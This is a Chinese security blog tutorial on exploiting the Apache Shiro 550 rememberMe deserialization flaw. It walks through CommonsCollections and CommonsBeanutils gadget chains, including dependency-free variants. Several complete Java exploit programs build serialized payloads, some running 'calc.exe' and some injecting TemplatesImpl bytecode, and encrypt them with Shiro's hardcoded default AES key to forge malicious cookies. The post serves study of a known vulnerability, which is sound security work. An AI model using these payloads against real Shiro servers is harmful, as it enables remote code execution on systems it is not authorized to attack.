Javaweb安全——反序列化漏洞-Shiro(CommonsBeanutils利用链)

Shiro550反序列化漏洞(Shiro<1.2.4)

CommonsCollections6链利用尝试

先来看一段这个漏洞描述:

为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞

这里使用的shiro应用demo为https://github.com/phith0n/JavaThings/tree/master/shirodemo

测试的jdk版本为8u111 以及 8u211 都试过可以触发。

shiro的特征:

未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

处理cookie的流程:

得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化

生成payload的流程:

命令 --> 攻击链反序列化 --> AES加密–> Base64编码–> 得到rememberMe的cookie值 (payload)

使用shiro内置的类 org.apache.shiro.crypto.AesCipherService进行AES加密,先要找到硬编码的key,然后写一个exp生成payload。

key的位置位于org.apache.shiro.mgt.AbstractRememberMeManager(shiro<=1.2.4)

image-20220702003321762

package ser;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class shiroattack {
    public static void main(String []args) throws Exception {
        byte[] payloads = CommonsCollections6Payload("calc.exe");
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
    public static final byte[] CommonsCollections6Payload(String cmd) throws NoSuchFieldException, IOException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, new Object[]{cmd}),
                new ConstantTransformer(1)};
        //防止payload生成过程中触发,先放进去一个空的Transform
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        HashSet expMap = new HashSet();
        expMap.add(entry);
        //移除entry那lazyMap的键
        lazyMap.remove("foo");
        //通过反射将真正的恶意Transform放进去
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
        // ==================
        // 生成序列化字节
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        return barr.toByteArray();
    }
}

image-20220702003352620

直接将生成的payload打过去没有弹出计算机但是tomcat报错了

image-20220702003416347

跟一下报错信息从最初的报错开始(ClassResolvingObjectInputStream.java:53),可以看到,这是一个ObjectInputStream的子类,其重写了 resolveClass 方法(用来查找类对应的 java.lang.Class 对象)

image-20220702004451628

看到报错行用的是org.apache.shiro.util.ClassUtils#forName(实际上内部用到了org.apache.catalina.loader.ParallelWebappClassLoader#loadClass ),其父类的resolveClass 方法则是使用了Java原生的 Class.forName

再看到第二层的报错,其实是org.apache.commons.collections.Transformer 的数组在加载时出错了

image-20220702004344618

具体原因参考:

https://blog.zsxsoft.com/post/35
http://www.rai4over.cn/2020/Shiro-1-2-4-RememberMe%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-CVE-2016-4437/

总之反序列化中只能加载Java自身的数组所以Transformer不能用了,而之前几篇文章中的CC链中都使用了这个数组即使是对Transformer依赖更低的CC3,也使用其作为触发TemplatesImpl.newTransformer的方式。

CommonsCollections3高版本利用链改造

回想一下恶意对象调用链中Transform数组运行原理,即在ChainedTransformer中将数组中上一个对象的transform的结果作为下一个对象的输入从而串联起来类到类方法的调用,CC1、CC6中使用InvokerTransformer的话肯定是没法避开了。而CC3中只是为了调用TemplatesImpl.newTransformer方法串不串起来其实无所谓可以不需要ChainedTransformer这个类,也就不用Transformer数组了。

image-20220702014715972

在CC6中使用了一个TiedMapEntry作为中继调用了LazyMap(map)的get函数。

image-20220702020423424

image-20220702015849347

那么只要设置key为构造好的TemplatesImpl就行了,InstantiateTransformer(factory)的transform方法调用了key(TrAXFilter)构造方法,剩下的部分就和CC3高版本利用链的一样了,这里我做了一点小改动用hashset。

还有就是手动去class内容编码再填充太麻烦了,利用javassist将恶意类生成字节码再交给 TemplatesImpl 。

POC:

package ser;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class shiroattack {
    public static void main(String []args) throws Exception {
        byte[] payloads = CommonsCollections3Payload();
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
    public static final byte[] CommonsCollections3Payload() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazzz = pool.get(evalClassTemplatesImpl.class.getName());
        byte[] code = clazzz.toBytecode();
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][] {code});
        setFieldValue(templatesImpl, "_name", "test");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templatesImpl } );
        Transformer fakeTransformers = new ConstantTransformer(1);
        //包装innerMap,回调TransformedMap.decorate
        //防止payload生成过程中触发,先放进去一个空的Transform

        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, fakeTransformers);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, TrAXFilter.class);

        HashSet expMap = new HashSet();
        expMap.add(entry);
        //移除entry那lazyMap的键
        lazyMap.clear();
        //通过反射将真正的恶意Transform放进去
        Field factoryField = LazyMap.class.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,transformer);
        //生成序列化数据
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        return barr.toByteArray();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

image-20220702030345802

而p神在Java漫谈中则是直接用的InvokerTransformer去触发,是基于CC6修改的,相对容易理解。

public class CommonsCollectionsShiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}

补充说明:

P神最后还提到了这两点

Shiro不是遇到Tomcat就一定会有数组这个问题
Shiro-550的修复并不意味着反序列化漏洞的修复,只是默认Key被移除了

CommonsBeanutils

除了commons-collections3的利用链改造之外,还有CommonsBeanutils这个shiro自带的依赖工具包。

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。

对于这条链子相关,简单来说commons-beanutils有个PropertyUtils.getProperty静态方法会自动找到类属性的getter方法,也就是 getXxx()。

PropertyUtils.getProperty(new Any(), "xxx");
//递归获取属性,a对象中有属性b,b对象中有属性c
PropertyUtils.getProperty(a, "b.c"); 

这个方法寻找的getter方法是怎么定义的呢,以get开头后面接属性名,属性名第一个字母大写全名符合骆驼式命名法(Camel-Case)也就是getXxx()这样的,那只要符合这个形式的就能被调用。

回顾一下 TemplatesImpl的调用链:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() ->TemplatesImpl#defineTransletClasses() ->TransletClassLoader#defineClass()

之前是直接用的TemplatesImpl#newTransformer() 这个公共方法并没有用最后的TemplatesImpl#getOutputProperties(),这个函数名刚好符合getter方法的命名可以被PropertyUtils.getProperty调用。

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

要使用TemplatesImpl的链子还缺调用PropertyUtils.getProperty()的地方,在commons-collections4中提到的新利用链有个java.util.PriorityQueue,这个优先队列的元素根据它们的自然顺序或在队列构建时提供的 Comparator 进行排序。在反序列化实现了java.util.Comparator 接口的类时为了保证队列顺序,会调用该类的compare()比较大小进行重排序。

commons-beanutils包中存在一个org.apache.commons.beanutils.BeanComparator实现了java.util.Comparator 接口用来比较两个JavaBean是否相等。

public int compare( Object o1, Object o2 ) {
    
    if ( property == null ) {
        // compare the actual objects
        return comparator.compare( o1, o2 );
    }
    
    try {
        Object value1 = PropertyUtils.getProperty( o1, property );
        Object value2 = PropertyUtils.getProperty( o2, property );
        return comparator.compare( value1, value2 );
    }
    catch ( IllegalAccessException iae ) {
        throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
    } 
    catch ( InvocationTargetException ite ) {
        throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
    }
    catch ( NoSuchMethodException nsme ) {
        throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
    } 
}

这个compare()方法中调用了PropertyUtils.getProperty()

Object value1 = PropertyUtils.getProperty( o1, property );

o1是JavaBean对象,property是属性名字。

下面开始写POC,如果一开始就设置属性值,就会报错Integer类没有这个属性方法

Comparator comparator = new BeanComparator("outputProperties");
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

image-20220707014605989

使用反射设置即可,最后再把恶意的templatesImpl丢进去

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templatesImpl, "any"});

POC:

package ser;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CommonsBeanutils1 {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazzz = pool.get(evalClassTemplatesImpl.class.getName());
        byte[] code = clazzz.toBytecode();
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][] {code});
        setFieldValue(templatesImpl, "_name", "test");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        Comparator comparator = new BeanComparator();
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templatesImpl, "any"});
        //生成序列化数据
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        //反序列化
        ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(in);
        ois.readObject();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

攻击shiro应用

下面就是攻击之前那个shirodemo了:

package ser;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CommonsBeanutilsShiroAttack {
    public static void main(String[] args) throws Exception {
        byte[] payloads = CommonsBeanutils1Payload();
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
    public static final byte[] CommonsBeanutils1Payload() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazzz = pool.get(evalClassTemplatesImpl.class.getName());
        byte[] code = clazzz.toBytecode();
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][] {code});
        setFieldValue(templatesImpl, "_name", "test");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        Comparator comparator = new BeanComparator();
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templatesImpl, "any"});
        //生成序列化数据
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        return barr.toByteArray();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

生成的时候要注意commons-beanutils版本,Shiro依赖的commons-beanutils版本为1.8.3,如果版本不一样会报serialVersionUID的错误,Java为了防止两个不同版本的库的同名类可能有一些方法和属性不同,而在序列化通信的时候不兼容出问题,以serialVersionUID来表明识别每个版本的类。

image-20220707022042676

无依赖的Shiro反序列化利用链

那么这个CommonsBeanutils链是完全不需要commons-collections3.2.1的依赖吗,可以看到commons-beanutils是有依赖一部分collections的类的。

image-20220707022410861

把commons-collections3.2.1依赖删了再试试,

image-20220707022834651

commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。

要找无依赖的利用链先得看org.apache.commons.collections.comparators.ComparableComparator在CommonsBeanutils哪处使用了,再去看怎么替代。

image-20220707024147954

这个构造方法就是设置要调用的getter方法对应JavaBean属性值,既然这个不行换一个构造方法:

public BeanComparator( String property, Comparator comparator ) {
    setProperty( property );
    if (comparator != null) {
        this.comparator = comparator;
    } else {
        this.comparator = ComparableComparator.getInstance();
    }
}

需要传入一个实现了Comparator、Serializable接口的类,并且是Java、shiro或commons-beanutils自带,且兼容性强关键是不影响后面的调用链。

通常用的是下面这两个类:

  • java.lang.String$CaseInsensitiveComparator
  • java.util.Collections$ReverseComparator

CaseInsensitiveComparator

这个String的内部类,其compare方法并不会对后续利用链产生影响。

private static class CaseInsensitiveComparator
        implements Comparator<String>, java.io.Serializable {
    // use serialVersionUID from JDK 1.2.2 for interoperability
    private static final long serialVersionUID = 8575799808933029326L;

    public int compare(String s1, String s2) {
        int n1 = s1.length();
        int n2 = s2.length();
        int min = Math.min(n1, n2);
        for (int i = 0; i < min; i++) {
            char c1 = s1.charAt(i);
            char c2 = s2.charAt(i);
            if (c1 != c2) {
                c1 = Character.toUpperCase(c1);
                c2 = Character.toUpperCase(c2);
                if (c1 != c2) {
                    c1 = Character.toLowerCase(c1);
                    c2 = Character.toLowerCase(c2);
                    if (c1 != c2) {
                        // No overflow because of numeric promotion
                        return c1 - c2;
                    }
                }
            }
        }
        return n1 - n2;
    }

通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对象,用它来实例化 BeanComparator:

final BeanComparator comparator = new BeanComparator(null,
String.CASE_INSENSITIVE_ORDER);

还要修改添加进queue的值为字符串

POC:
package ser;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutilsShiroWithoutCC {
    public static void main(String[] args) throws Exception {
        byte[] payloads = CommonsBeanutils1Payload();
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
    public static final byte[] CommonsBeanutils1Payload() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazzz = pool.get(evalClassTemplatesImpl.class.getName());
        byte[] code = clazzz.toBytecode();
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][] {code});
        setFieldValue(templatesImpl, "_name", "test");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templatesImpl, "any"});
        //生成序列化数据
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        return barr.toByteArray();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

image-20220707032155912

java.util.Collections$ReverseComparator

这个类的compare方法也不会影响后面的利用链,通过reverseOrder()静态方法就能获取到ReverseComparator类

public static <T> Comparator<T> reverseOrder() {
    return (Comparator<T>) ReverseComparator.REVERSE_ORDER;
}

/**
 * @serial include
 */
private static class ReverseComparator
    implements Comparator<Comparable<Object>>, Serializable {

    private static final long serialVersionUID = 7207038068494060240L;

    static final ReverseComparator REVERSE_ORDER
        = new ReverseComparator();

    public int compare(Comparable<Object> c1, Comparable<Object> c2) {
        return c2.compareTo(c1);
    }

    private Object readResolve() { return Collections.reverseOrder(); }

    @Override
    public Comparator<Comparable<Object>> reversed() {
        return Comparator.naturalOrder();
    }
}

修改一下就行:

final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

参考:

Java安全漫谈 - 15.TemplatesImpl在Shiro中的利用

https://www.anquanke.com/post/id/192619

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值